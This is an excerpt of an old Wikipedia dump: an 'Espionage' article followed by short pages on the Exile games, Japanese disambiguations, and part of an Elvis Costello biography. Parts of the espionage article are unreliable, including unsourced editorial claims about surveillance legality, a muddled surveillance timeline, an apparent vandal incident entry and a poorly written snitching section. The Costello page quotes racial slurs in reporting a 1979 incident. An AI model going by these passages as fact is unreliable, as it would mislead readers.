'''Espionage''' is the practice of obtaining [[secrecy|secrets]] ('''spying''') from rivals or enemies for [[military]], [[politics|political]], or [[economics|economic]] advantage. 

It can also be defined as stealing information that a country does not want the public to know (classified) from that country. It is usually thought of as part of an institutional effort (i.e., governmental or corporate [[intelligence (information gathering)|intelligence]]). The definition has been restricted to a [[state]] spying on potential or actual enemies, primarily for military purposes, but this has been extended to spying involving [[corporation]]s, known specifically as [[industrial espionage]].  Many [[nation]]s routinely spy on both their enemies, and allies, although they maintain a policy of not making comment on this.  ''[[Black's Law Dictionary]]'' ([[1990]]) defines espionage as: &quot;...gathering, transmitting, or losing...information related to the [[national defense]].&quot;

A '''spy''' is an agent employed to obtain such secrets. The term '''intelligence officer''' is also used to describe a member of the [[armed forces]], [[police]] officer or civilian [[intelligence agency]] who specialises in the gathering, fusion and [[analysis]] of [[information]] and intelligence in order to provide advice to their [[government]] or another organisation.

Incidents of espionage are well documented throughout history.  The writings of [[Sun-Tzu]] contain information on deception and [[subversion (political)|subversion]].  The [[Ancient Egypt|ancient Egyptians]] had a thoroughly developed system for the acquisition of intelligence, and the [[Hebrews]] used spies as well.  More recently, they played a significant part in [[Elizabethan]] [[England]] (see [[Francis Walsingham]]).  [[Feudal Japan]] often used [[ninja]] to gather intelligence. Many modern espionage methods were already then well established.[http://www.henrywotton.org.uk/] 

The [[Cold War]] involved intense [[Cold War espionage|espionage]] activity between the [[United States|United States of America]] and its allies and the [[Soviet Union]] and the [[People's Republic of China]] and their allies, particularly related to [[nuclear weapon|nuclear weapons]] secrets.  Recently, espionage agencies have targeted the [[illegal drug trade]] and those considered to be [[terrorism|terrorist]]s.
For three decades the United States has cultivated its best and brightest to pre-eminence in what is now known as the field of communication and control. As technology has advanced, the means and methods of espionage have advanced from Nixon era wire tapping, through Reagan era programs like echelon and carnivore, to surveillance of all electronic transmissions including cell phone logs, voice mail, email, packet sniffing, trace routing and wireless transmissions.

However, the [[Soviet Union]] has been said to have had fielded the largest and most advanced spy networks during its time, infiltrating some of the most secure places on the planet which has caused many scandals.    

Since January of 2000, a long list of agencies have been data mining the world's stock exchanges; this program was formalized on October 26, 2001 in the form of the Patriot Act. This helps track the financing of people who might be laundering money from drug transactions. For a variety of reasons, including changes in technology, it has been necessary to do this without warrants and it is argued that the necessity makes it legal. 

In order to gather political and economic information that might be of advantage to the United States, foreign communications are routinely subject to surveillance. In 2002, new programs of satellite surveillance and unmanned low level drones armed with missiles made it possible not only to perform surveillance in real time, but to respond with force that can instantly annihilate any suspected threat anywhere in the world.

==Legality of espionage==
Espionage, when performed by a citizen of the target state, is generally considered to be a form of [[treason]]. In many countries espionage is a crime punishable by death or life imprisonment.  For example, espionage is still a capital crime in the [[United States|USA]]; however, the death penalty is rarely used in espionage cases in the U.S.  ''See'' [[Espionage Act]].

A person who owed allegiance to the British Crown who spied for a foreign country would face a maximum life sentence for [[treason]] if it could be proved they were aiding Britain's enemies. In fact a foreign spy may also be prosecuted for treason because temporary allegiance to the Crown is owed by everyone voluntarily in Britain except lawful enemy [[combatant]]s. 

Also in the UK, spying for proscribed [[terrorism|terrorist]] organisations violates the [[Terrorism Act 2000]]. During the [[World War II|Second World War]] German spies in Britain were executed for [[treachery]], a special offense covering any aid given to the enemy, including by foreign nationals.

==Noteworthy incidents in the history of espionage==
* [[Daniel Defoe]] spies for [[Kingdom of England|England]] in [[Edinburgh]], assisting in the bribery scandal which led to the [[Treaty of Union 1707]]
* [[Benedict Arnold]]'s [[West Point, New York|West Point]] betrayal conspiracy
* Patriot [[Kelsie DeNooy]] leaks British invasion plan to General Washington
* [[1870s]] — infiltration of U.S. labor unions by [[Pinkerton National Detective Agency]]
* [[1940s]] — [[Double Cross System]] British capture of German spy network in Britain in WWII
* [[1940s]] — transfer of U.S. [[nuclear weapons]] secrets in the [[Rosenberg Case]]
* [[1940s]]–[[1950s]] — [[Cambridge Five]] Soviet spy ring in U.K. during and after WWII
* [[1961]] — failure of the [[Bay of Pigs Invasion]]
* [[1968]]–[[1985]] — [[Walker spy ring]] sold U.S. [[KL-7]] codes to Soviets
* [[1970s]]–[[1990s]] — alleged [[China|Chinese]] theft of American [[nuclear weapon]]s designs (See [[Cox report|Cox Report]])
* [[2005]] — [[Leandro Aragoncillo]] indicted as part of what the [[Federal Bureau of Investigation|FBI]] refers to as the first case in history of espionage from within the [[White House]]

==Spies in various conflicts==
*[[American Civil War spies|American Civil War]]
*[[:Category:World War I espionage|World War I]]
*[[:Category:World War II espionage|World War II]]
*[[Cold War espionage|Cold War]]

==Espionage organizations==
:''Main article: [[List of intelligence agencies]]''.
*[[Argentina]]: [[Secretaría de Inteligencia|SIDE]], [[Dirección Nacional de Inteligencia Criminal|DNIC]], [[Dirección Nacional de Inteligencia Estratégica Militar|DNIEM]], [[Jefatura de Inteligencia del Estado Mayor Conjunto de las Fuerzas Armadas|J-2]], [[Servicio de Inteligencia del Ejército (Argentina)|SIE]], [[Servicio de Inteligencia Naval (Argentina)|SIN]], [[Servicio de Inteligencia de la Fuerza Aérea (Argentina)|SIFA]], [[Inteligencia de la Policía Federal Argentina|SIPF]], [[Inteligencia de la Gendarmería Nacional Argentina|SIGN]], [[Inteligencia de la Prefectura Naval Argentina|SIPN]], [[Inteligencia de la Policía de Seguridad Aeroportuaria|SIPSA]]
*[[Australia]]: [[Defence Signals Directorate|DSD]], [[Australian Security Intelligence Organisation|ASIO]], [[Australian Secret Intelligence Service|ASIS]], [[Office of National Assessments|ONA]], [[Defence Intelligence Organisation|DIO]]
*[[Canada]]: [[Canadian Security Intelligence Service|CSIS]], [[Communications Security Establishment|CSE]]
*[[Cuba]]: [[General Intelligence Directorate|DGI]], Military intelligence, others [CI]
*[[France]]: [[Direction Générale de la Sécurité Extérieure|DGSE]], [[Renseignements Généraux|RG]], [[Direction de la Surveillance du Territoire|DST]] 
*[[Germany]]: [[Bundesnachrichtendienst|BND]]
*[[India]]: [[Research and Analysis Wing|RAW]], [[Intelligence Bureau|IB]], [[Joint Intelligence committee|JIC]], [[Defense Intelligence India|DIA]]  
*[[Israel]]: [[Mossad]]
*[[Italy]]: [[SISMI]], [[SISDE]]
*[[Mexico]]: [[CISEN]]
*[[Pakistan]]: [[Inter-Services Intelligence|ISI]]
*[[Netherlands]]: [[AIVD]]
*[[New Zealand]]: [[New Zealand Security Intelligence Service|NZSIS]] [[GCSB]]
*[[South Africa]]: [[National Intelligence Agency|NIA]], [[South African Secret Service|SASS]], [[South African National Defence Force Intelligence Division|SANDF-ID]]
*[[Soviet Union]]: [[Foreign Intelligence Service (Russia)|SVR]], (formerly [[KGB]] external reconnaissance and predecessor names); Soviet Military Intelligence [[GRU]]
*[[United Kingdom|UK]]: [[MI5]], [[MI6]], [[GCHQ]], [[Special Branch]]
*[[United States|USA]]: [[Central Intelligence Agency|CIA]], [[Defense Intelligence Agency|DIA]], [[National Security Agency|NSA]], [[National Reconnaissance Office|NRO]]

:See also [[Intelligence agency]] and [[Special Operations Executive]]

==Espionage technology and techniques==
:''Main article [[list of intelligence gathering disciplines]].''
* [[ECHELON]]
* [[Agent Handling]]
* [[Black Bag Operations]]
* [[Concealment device]]
* [[Cryptography]]
* [[Cut-out]]
* [[Dead drop]]
* [[Eavesdropping]]
* [[False flag]] operations
* [[Honey trap]]
* [[Interrogation]]
* [[Nonofficial cover]] - NOC
* [[One Way Voice Link]]
* [[Steganography]]
* [[Surveillance]]
* [[TEMPEST]] &amp;mdash; Protection devices for communication equipment.

==Spy fiction== 
:''Main article: [[Spy fiction]]''
Since not much is publicly known about real-life secret agents, the popular conception of the secret agent has been formed largely by 20th and 21st century [[literature]] and [[film|cinema]].  Similar to the character of the [[Private investigator|private eye]], the secret agent is usually a loner, sometimes amoral, an [[existential]] [[hero]] operating outside the everyday constraints of society.  [[James Bond]], the protagonist of [[Ian Fleming]]'s novels who went on to spawn an extremely successful [[film]] franchise, is probably the most famous [[fiction]]al secret agent of all. Another is the boy spy [[Alex Rider]], created by [[Anthony Horowitz]]; Rider is said to be useful due to his youth.

Spy Fiction has also become prevalent in video gaming, where the &quot;wetworks&quot; aspect of espionage is highlighted.  Game situations typically involve agents sent into enemy territory for purposes of subversion.  These depictions are more action-oriented than would be typical in most cases of espionage, and they tend to focus on infiltration rather than information-gathering. Some examples are [[Metal Gear]] and [[Splinter Cell]].

==Further reading==
===Surveys===
* Andrew, Christopher. ''For the President's Eyes Only: Secret Intelligence and the American Presidency from Washington to Bush'' (1996)
* Black, Ian. ''Israel's Secret Wars: A History of Israel's Intelligence Services'' (1992)
* [http://www.questia.com/PM.qst?a=o&amp;d=104262552 Bungert, Heike et al eds. ''Secret Intelligence in the Twentieth Century'' (2003)] essays by scholars
* Friedman, George. ''America's Secret War: Inside the Hidden Worldwide Struggle Between the United States and Its Enemies'' (2005), since 9-11  
* Kahn, David ''The Codebreakers: The Comprehensive History of Secret Communication from Ancient Times to the Internet'' (1996), 1200 pages
*  Knightley, Philip. ''The Second Oldest Profession: Spies and Spying in the Twentieth Century'' (1986)
* Lerner, K. Lee and Brenda Wilmoth Lerner, eds. ''Encyclopedia of Espionage, Intelligence and Security'' (2003), 1100 pages. 850 articles, strongest on technology
* O'Toole,  George. ''Honorable Treachery: A History of U.S. Intelligence, Espionage, Covert Action from the American Revolution to the CIA'' (1991)
* Owen, David. ''Hidden Secrets: A Complete History of Espionage and the Technology Used to Support It'' (2002), popular
* [http://www.questia.com/PM.qst?a=o&amp;d=24341844 Richelson, Jeffery T. ''A Century of Spies: Intelligence in the Twentieth Century'' (1997)]
* Richelson, Jeffery T. ''The U.S. Intelligence Community'' (4th ed. 1999)
* Smith Jr., W. Thomas. ''Encyclopedia of the Central Intelligence Agency''  (2003), popular
* West, Nigel. ''MI6: British Secret Intelligence Service Operations 1909-1945'' (1983)
* West, Nigel. ''Secret War: The Story of SOE, Britain's Wartime Sabotage Organization'' (1992)
*  Wohlstetter, Roberta. ''Pearl Harbor: Warning and Decision'' (1962)

===World War I===
*Beesly, Patrick.  ''Room 40''. (1982). Covers the breaking of German codes by RN intelligence, including the Turkish bribe, Zimmermann telegram, and failure at Jutland.
*Kahn, David.  ''The Codebreakers''.  (1996).  Covers the breaking of Russian codes and the victory at Tannenberg.
* May, Ernest (ed.) ''Knowing One's Enemies: Intelligence Assessment before the Two World Wars'' (1984)
* Tuchman, Barbara W. ''The Zimmermann Telegram'' (1966)

===World War II: 1931-1945===
* Babington-Smith, Constance. ''Air Spy: The Story of Photo Intelligence in World War II'' (1957)
* Hinsley, F. H. and Alan Stripp. ''Codebreakers: The Inside Story of Bletchley Park'' (2001)
* Hinsley, F. H. ''British Intelligence in the Second World War'' (1996) abridged version of multivolume official history.
* Hohne, Heinz. ''Canaris: Hitler's Master Spy'' (1979)
* Jones, R. V. ''The Wizard War: British Scientific Intelligence 1939-1945'' (1978)
* Kahn, David.  ''The Codebreakers''.  (1996).  
* Kahn, David.  ''Hitler's Spies: German Military Intelligence in World War II'' (1978)
* Kahn, David.  ''Seizing the Enigma: The Race to Break the German U-Boat Codes, 1939-1943'' (1991)
*  Lewin, Ronald. ''The American Magic: Codes, Ciphers and the Defeat of Japan'' (1982)	
* May, Ernest (ed.) ''Knowing One's Enemies: Intelligence Assessment before the Two World Wars'' (1984)
* Persico, Joseph. ''Roosevelt's Secret War: FDR and World War II Espionage'' (2001)
* Persico, Joseph. ''Casey: The Lives and Secrets of William J. Casey-From the OSS to the CIA'' (1991)
* Smith, Richard Harris. ''OSS: The Secret History of America's First Central Intelligence Agency'' (2005)
* Stanley, Roy M. ''World War II Photo Intelligence'' (1981)
* Wark, Wesley. ''The Ultimate Enemy: British Intelligence and Nazi Germany, 1933-1939'' (1985)
* Wark,  Wesley K.&quot;Cryptographic Innocence: The Origins of Signals Intelligence in Canada in the Second World War&quot;, ''Journal of Contemporary History'' 22 (1987)

===Cold War Era: 1945-1991===
* Aldrich, Richard J. ''The Hidden Hand: Britain, America and Cold War Secret Intelligence'' (2002).	
* Ambrose, Stephen E. ''Ike's Spies: Eisenhower and the Intelligence Establishment'' (1981). 
* [http://www.questia.com/PM.qst?a=o&amp;d=25982993 Andrew, Christopher  and Vasili Mitrokhin. ''The Sword and the Shield: The Mitrokhin Archive and the Secret History of the KGB'' (1999)]
* Andrew, Christopher, and Oleg Gordievsky. ''KGB: The Inside Story of Its Foreign Operations from Lenin to Gorbachev'' (1990).
* Aronoff, Myron J. ''The Spy Novels of John Le Carré: Balancing Ethics and Politics'' (1999).
* Bissell, Richard. ''Reflections of a Cold Warrior: From Yalta to the Bay of Pigs'' (1996)
* Bogle, Lori, ed. ''Cold War Espionage and Spying'' (2001), essays by  
* Dorril, Stephen. ''MI6: Inside the Covert World of Her Majesty's Secret Intelligence Service'' (2000).
* Dziak,  John J. ''Chekisty: A History of the KGB'' (1988)
* Gates, Robert M. ''From The Shadows: The Ultimate Insider's Story Of Five Presidents And How They Won The Cold War'' (1997)
* Haynes, John Earl, and Harvey Klehr. ''Venona: Decoding Soviet Espionage in America'' (1999).	
* Helms, Richard. ''A Look over My Shoulder: A Life in the Central Intelligence Agency'' (2003)
* [http://www.questia.com/PM.qst?a=o&amp;d=27191582 Koehler, John O. ''Stasi: The Untold Story of the East German Secret Police'' (1999)]
* Mitrokhin. Andrew and Vasili Mitrokhin. ''The Mitrokhin Archive'' (1999). vol 1, on KGB
* Murphy, David E., Sergei A. Kondrashev, and George Bailey. ''Battleground Berlin: CIA vs. KGB in the Cold War'' (1997).
* Persico, Joseph. ''Casey: The Lives and Secrets of William J. Casey-From the OSS to the CIA'' (1991)
* Prados, John. ''Presidents' Secret Wars: CIA and Pentagon Covert Operations Since World War II'' (1996)  	 	
* [http://www.questia.com/PM.qst?a=o&amp;d=82295474 Rositzke, Harry. ''The CIA's Secret Operations: Espionage, Counterespionage, and Covert Action'' (1988)]
* Srodes, James.  ''Allen Dulles'' (2000), CIA head to 1961	
* [http://www.questia.com/PM.qst?a=o&amp;d=106805285 Trahair, Richard C. S. ''Encyclopedia of Cold War Espionage, Spies and Secret Operations'' (2004)], by an Australian scholar; contains excellent historiographical introduction
*  Weinstein, Allen, and Alexander Vassiliev. ''The Haunted Wood: Soviet Espionage in America—The Stalin Era'' (1999).
==Pop culture==
Common espionage in today's world has been dubbed snitching(other variations included ratting and tattle-tale). What seperates it from other forms of espionage is that it involves a traitor or victim rather than a spy. Snitching received a
bad reputation as it goes against the [[golden rule]]. Also the informers are often used as the [[scapegoat]] for a person or groups mistakes and failures.The video [[Stop Snitchin']] was created to show that people who informed authorities on crimes should(or would)be murdered.This resulted in major controversity.

==See also==
* [[Classified information]]
* [[Numbers station]]
* [[List of cryptographers]]
* [[List of alleged secret agents]]
* [[Military intelligence]]
* [[Motives for spying]]
* [[Security clearance]]
* [[Treason]]

==External links==
* [http://www.ispy.ws Spy Forum and Spying Discussions]

[[Category:Espionage|*]]

[[da:Spion]]
[[de:Spionage]]
[[es:Espionaje]]
[[eo:Spionado]]
[[fr:Espionnage]]
[[ko:간첩]]
[[he:ריגול]]
[[nl:Spion]]
[[ja:スパイ]]
[[no:Spionasje]]
[[nn:Spionasje]]
[[pl:Szpieg]]
[[ru:Разведка]]
[[th:จารกรรม]]
[[zh:间谍]]</text>
    </revision>
  </page>
  <page>
    <title>Exile the RPG Games</title>
    <id>10502</id>
    <revision>
      <id>15908312</id>
      <timestamp>2003-11-08T12:19:15Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Exile (computer game)]]</text>
    </revision>
  </page>
  <page>
    <title>Exile (computer game)</title>
    <id>10503</id>
    <revision>
      <id>40091774</id>
      <timestamp>2006-02-18T01:50:48Z</timestamp>
      <contributor>
        <username>Nickshanks</username>
        <id>20152</id>
      </contributor>
      <minor />
      <text xml:space="preserve">::''For the [[BBC Micro]], [[Acorn Electron]], [[Commodore 64]], [[Commodore Amiga]], [[Amiga CD32|CD32]] and [[Atari ST]] computer game, see [[Exile (BBC computer game)]].''
::''For the [[Turbo CD]] action/role-playing games see [[Exile (video game)]].''

The '''''Exile''''' series of [[Role-playing game (video games)|roleplaying game]]s were created by [[Jeff Vogel]] of [[Spiderweb Software]]. They are released as [[shareware]] titles for [[Apple Macintosh|Apple Macintosh]] and [[Microsoft Windows|Microsoft Windows]] systems. Exile III was also ported to [[Linux]] by a third party, although it does not seem to work as well as the Windows version run in WINE. The series consists of four games:

* ''Exile: Escape from the Pit''
* ''Exile II: Crystal Souls''
* ''Exile III: Ruined World''
* ''Blades of Exile''

The first three of these games form a trilogy covering the exploits of the inhabitants of Exile, a vast series of underground caves populated by those banished by the Empire, rulers of the surface world, culminating in their eventually gaining the ability to return to the surface. 

''Blades of Exile'' consists of three short &quot;scenarios&quot; set after the main trilogy as well as an editor that allows players to create their own scenarios, which need not be set in the Exile game world at all. Several hundred custom-made scenarios have been designed since the release of the game in 1997, attracting so many prolific scenario designers that a whole community has evolved around it. The most prominent meeting places on the web of the Blades of Exile community are the official company-hosted [[internet forum]] and the site ''[http://www.geocities.com/blyceum The Lyceum]'', founded in 1998 by the designer calling himself Alcritas. These forums offer support for beginning designers and players, reviews of new scenarios and general discussions about the use of the scenario editor. Since many designers have also set up their own ''Blades of Exile''-related websites, a [[webring]] has been established to allow easy navigation between the numerous fan pages. Fan sites also include a number of archives from which custom graphics can be downloaded to be used by other scenario designers. 

Common to all Spiderweb Software games, the ''Exile'' series have very limited graphics and sound, which is 
balanced by a large and detailed game world as well as a generally deep storyline and well-developed plots.

More recently the ''Exile'' games have been remade as the [[Avernum]] series, which replaced the two-dimensional tile-based graphics system with an [[isometric projection|isometric]] one and made numerous changes to the RPG system and some changes to the content. A fourth title in the series is available under the Avernum moniker and engine.

==See also==
*[[List of computer and video games by name]]
*[[Jeff Vogel]]
*[[Spiderweb Software]]

==External links==
*[http://www.spiderwebsoftware.com Spiderweb Software]
*[http://p080.ezboard.com/bthelyceum The Lyceum]
*[http://www.personal.psu.edu/staff/b/x/bxb11/boe/alexandriajs/index.htm the Blades of Exile scenario database]
*[http://w.webring.com/hub?ring=boe The Blades of Exile Webring]

[[Category:Computer and video role-playing games]]
[[Category:Apple Macintosh games]]
[[Category:Spiderweb Software games]]
[[Category:Windows games]]</text>
    </revision>
  </page>
  <page>
    <title>Reizei</title>
    <id>10504</id>
    <revision>
      <id>32842648</id>
      <timestamp>2005-12-27T05:01:19Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <comment>fix sp</comment>
      <text xml:space="preserve">'''Reizei''' can refer to:
*[[Emperor Reizei]], [[emperor of Japan]].
*The [[Reizei family]], a branch of the [[Fujiwara family]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Emperor Enyu of Japan</title>
    <id>10505</id>
    <revision>
      <id>22558147</id>
      <timestamp>2005-09-04T17:48:22Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>dbl redir</comment>
      <text xml:space="preserve">#Redirect [[Emperor En'yu]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kazan</title>
    <id>10506</id>
    <revision>
      <id>34653877</id>
      <timestamp>2006-01-10T20:24:52Z</timestamp>
      <contributor>
        <ip>83.208.12.213</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Kazan.jpg|right]]

'''Emperor Kazan''' (花山天皇 ''Kazan Tennō'') ([[968]]-[[1008]]) was the 65th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He ruled from [[984]] to [[986]].


{{japan-bio-stub}}

{{start box}}
{{succession box | before=[[Emperor En'yu|Emperor En'yū]] | title=[[List of Emperors of Japan|Emperor of Japan]] | after=[[Emperor Ichijo|Emperor Ichijō]] | years=984-986}}
{{end box}}

[[Category:968 births|Kazan]]
[[Category:1008 deaths|Kazan]]
[[Category:Japanese emperors|Kazan of Japan, Emperor]]

[[cs:Kazan]]
[[de:Kazan (Kaiser)]]
[[ja:花山天皇]]
[[pl:Kazan]]
[[zh:花山天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Ichijo</title>
    <id>10507</id>
    <revision>
      <id>22973191</id>
      <timestamp>2005-09-10T13:34:05Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Ichijo''' can refer to:
#[[Emperor Ichijo|Emperor Ichijō]], [[emperor of Japan]] ([[980]]-[[1011]])
#[[Ichijo (Kyoto)]], one of main streets in [[Kyoto]].
#[[Ichijo family]], a branch of [[Fujiwara family]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Sanjo</title>
    <id>10508</id>
    <revision>
      <id>25632428</id>
      <timestamp>2005-10-16T03:19:04Z</timestamp>
      <contributor>
        <username>Tallasse</username>
        <id>380410</id>
      </contributor>
      <minor />
      <comment>remove personal attack that has been in for last 10-15 edits?</comment>
      <text xml:space="preserve">'''Sanjo''' can refer to:

*[[Sanjo Sobiak]], the CEO of [[JKCinema.com]].
*[[Emperor Sanjo|Sanjo Emperor]], the 67th [[Emperor of Japan]].
*[[Sanjo, Niigata]], a city in [[Niigata prefecture]], [[Japan]].
*[[Sanjo Station (Kyoto)|Sanjo Station]], the main [[Keihan Electric Railway]] station in [[Kyoto]], Japan.
*[[Sanjo (music)|Sanjo]], traditional style of [[Korean music]].
*[[Sanjo (Sarker)|Sanjo]], an Indian composer of contemporary fusion music.
*[[Sanji (One Piece)|Sanji]], a fictional character from the [[Japan|Japanese]] [[anime]] series [[One Piece]].
{{disambig}}

[[es:Sanji]]
[[pt:Sanjo]]</text>
    </revision>
  </page>
  <page>
    <title>Elements</title>
    <id>10509</id>
    <revision>
      <id>15908319</id>
      <timestamp>2004-03-03T08:21:39Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <comment>redirect to [[element]] due to duplicate content</comment>
      <text xml:space="preserve">#redirect: [[element]]</text>
    </revision>
  </page>
  <page>
    <title>Elvis Costello</title>
    <id>10510</id>
    <revision>
      <id>41811470</id>
      <timestamp>2006-03-01T22:27:13Z</timestamp>
      <contributor>
        <username>Urshyam</username>
        <id>390483</id>
      </contributor>
      <comment>/* 1980s */ Removing image with no source information. Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">[[Image:ecostello2.jpg|thumb|200px|right|Declan Patrick Aloysius MacManus, aka Elvis Costello.]]
'''Declan Patrick MacManus''' (born [[August 25]], [[1954]], in [[London]]), better known by his [[stage name]], '''Elvis Costello''', is a popular [[United Kingdom|British]] musician, singer, and [[songwriter]] of [[Irish people|Irish]] ancestry.  Some sources list his full given name as '''Declan Patrick Aloysius MacManus''', however Aloysius was not one of his names at birth, being added years later.

Costello was an early participant in London's [[Pub rock (UK)| pub rock]] scene in the mid-1970s, and later became associated with the [[punk rock]] and [[New Wave music|new wave]] musical genres, before establishing himself as a unique and original voice in the 1980s. His output has been wildly diverse: One critic has written that &quot;Costello, the [[popular music|pop]] encyclopedia, can reinvent the past in his own image.&quot;[http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:ly09kect7q70~T1]

==Biography==
===Early life and career===
MacManus was born in [[St Mary's Hospital (London)|St Mary's Hospital]], [[Paddington]] in [[London]], living in the area until he was sixteen. With an already musical family (his father, [[Ross MacManus]], sang with [[Joe Loss]]), MacManus moved with his mother to [[Liverpool]] in 1971. It was there that he formed his first band, a folk duo called Rusty.  After completing secondary school in Liverpool, he moved back to London where he next formed a band called Flip City[http://myweb.tiscali.co.uk/flipcity/flipcity.htm], which had a style very much in the pub rock vein. They were active from 1974 through early 1976. Around this time, MacManus adapted the stage name D.P. Costello. 

By 1975, MacManus was already a husband and father. To support himself, he worked a number of office jobs, most famously at a cosmetics firm -- immortalized in one of his song lyrics as the &quot;vanity factory&quot; -- where he put in time as a data entry clerk. He continued to write songs, and began aggressively looking for a solo recording contract. On the basis of a demo tape, he was signed to [[Stiff Records]]. His manager at Stiff, [[Jake Riviera]], suggested a name change, using [[Elvis Presley]]'s first name and his maternal grandmother's maiden name to form Elvis Costello.

===1970s===
[[Image:ecostello3.jpg|thumb|150px|left|Elvis Costello, striking an early pose.]]
Costello's first album for Stiff, ''[[My Aim Is True]]'' (1977), was a moderate commercial success (No. 14 in the UK and Top 40 in the US) with Costello appearing on the cover in his trademark oversize glasses, bearing a striking resemblance to a menacing [[Buddy Holly]]. Costello's backing on this first album was provided by American West Coast band Clover, a roots/country outfit who would later become [[Huey Lewis and The News]]. Costello was marketed as a [[New wave music|new wave]] artist or a [[punk rock|punk]]. The same year, Costello recruited his own permanent band, The Attractions, consisting of [[Steve Nieve]] (born Steve Nason; piano), [[Bruce Thomas]] (bass guitar), and [[Pete Thomas]] (unrelated to Bruce Thomas; drums). He released his first major hit single, &quot;Watching The Detectives,&quot; recorded with Nieve and the pair of Steve Goulding (drums) and Andrew Bodnar (bass), both members of [[Graham Parker]] &amp; The Rumour.

Stiff was a new independent UK label, formed to provide an outlet for practioners in the then-burgeoning pub rock scene in London. Its records were initially distributed only in the UK, which meant that Costello's first album and singles were initially available in the US as imports only. In an attempt to change this, Costello was arrested for [[busking]] outside of a London convention of CBS (Columbia Records) executives, &quot;protesting&quot; the fact that no US record company had yet seen fit to release Elvis Costello records in the United States.  Costello signed to CBS in the US a few months later.

[[Image:Elvis Costello And The Attractions - Radio Radio single picture cover.jpg|thumb|right|The picture cover of ''Radio Radio'']]

In December 1977, Costello and The Attractions appeared on ''[[Saturday Night Live]]'' as a last minute fill-in for the Sex Pistols.  During the live broadcast, Costello played the first few bars of &quot;Less Than Zero,&quot; then--much to the shock of the program's producers--stopped and broke into a spirited rendition of the then-unreleased &quot;Radio, Radio&quot; (despite having been denied permission to play that song because of its anti-corporate message). Costello was not invited to perform on ''Saturday Night Live'' again for 12 years (his next appearance finally coming in 1989, when the ''Spike'' album was a U.S. hit).

Following a whirlwind tour with other Stiff artists (captured on the ''Live Stiffs'' album, notable for Costello's recording of the [[Burt Bacharach]]/[[Hal David]] standard &quot;I Just Don't Know What To Do With Myself&quot;) the band recorded the frenetic, raucous ''[[This Year's Model]]'' (1978).  Some of the more popular tracks include the British hit &quot;(I Don't Want To Go To) Chelsea&quot; and &quot;Lipstick Vogue&quot;.  A tour of the US and Canada also saw the release of the much bootlegged promo-only &quot;Live At The El Mocambo,&quot; which finally saw an official release as part of the &quot;2 1/2 Years&quot; box set in 1993. It was during the ensuing United States tour that Elvis met and developed a relationship with former Playboy model [[Bebe Buell]]. Their on-again-off-again courtship would last until 1984 and would allegedly become a deep well of inspiration for some of Costello's most lovelorn songs.
 
1979 would arguably see the peak of Costello's commercial success with the release of ''[[Armed Forces]]'' (originally titled &quot;Emotional Fascism&quot;). Both the album and the single &quot;[[Oliver's Army]]&quot; (titled after [[Oliver Cromwell]]) went to No. 2 in the UK. Costello also found time in 1979 to produce the debut album for [[ska]] band [[The Specials]]. 

His success in the US was severely bruised when, during a drunken argument with [[Stephen Stills]] and [[Bonnie Bramlett]] in a [[Columbus, Ohio]] [[Holiday Inn]] hotel bar, Costello referred to [[James Brown (musician)|James Brown]] as an &quot;jive-ass [[nigger_(word)|nigger]],&quot; then upped the ante by pronouncing [[Ray Charles]] a &quot;blind, ignorant [[nigger_(word)|nigger]].&quot;  Bramlett and friends had evidently been baiting Costello with derisive comments about British rock music in general and &quot;sawed-off Limey&quot;-type comments aimed at him in particular.  A contrite Costello apologised at a [[New York City]] press conference a few days later, claiming that he had been drunk and had been attempting to be obnoxious in order to bring the conversation to a swift conclusion, not anticipating that Bramlett would bring his comments to the press.  According to Costello, &quot;it became necessary for me to outrage these people with about the most obnoxious and offensive remarks that I could muster.&quot;  In his liner notes for the expanded version of ''[[Get Happy!!]],'' Costello writes that some time after the incident he had declined an offer to meet Charles out of guilt and embarrassment, though Charles himself had graciously forgiven Costello (&quot;Drunken talk isn't meant to be printed in the paper&quot;).  It is notable that Costello worked extensively in Britain's &quot;[[Rock Against Racism]]&quot; campaign both before and after this interlude.  This incident specifically inspired his ''Get Happy!'' song [http://www.morethings.com/music/costello/misunderstood.html &quot;Riot Act.&quot;]

===1980s===
[[Image:ecostello1.jpg|thumb|200px|left|Elvis Costello, ''King of America.'']]
''[[Get Happy!!]]'' would thus be the first, and - along with ''King Of America'' - possibly most successful, of Costello's many experiments with genres beyond those he is normally associated with (the single, &quot;I Can't Stand Up For Falling Down&quot; was an old [[Sam and Dave]] song, though Costello increased the [[tempo]] considerably). The brevity of the songs (20 tracks in under 50 minutes) suited the band's new style (the Thomas' typically melodic rhythm section and Nieve's reasonable impersonation of [[Booker T Jones]]) as well as the frantic and stressful conditions under which it was written and recorded, crammed between live dates and fuelled by excessive drinking.  Lyrically, the songs are full of Costello's signature [[wordplay]], to the point that he later felt he'd become something of a self-parody and toned it down on later releases.  He has mockingly described himself in interviews as &quot;rock and roll's Scrabble champion.&quot;

1981's ''[[Trust (album)|Trust]]'' had a more [[pop music|pop]] sound, but the overall result was clearly affected by the growing tensions within the band, particularly between Bruce and Pete Thomas.  Despite its eclecticism (&quot;Different Finger&quot; had a distinct [[country music|country]] feel) and pop hooks, ''Trust'' was not a major success and the first album since his debut to generate no hit singles. 

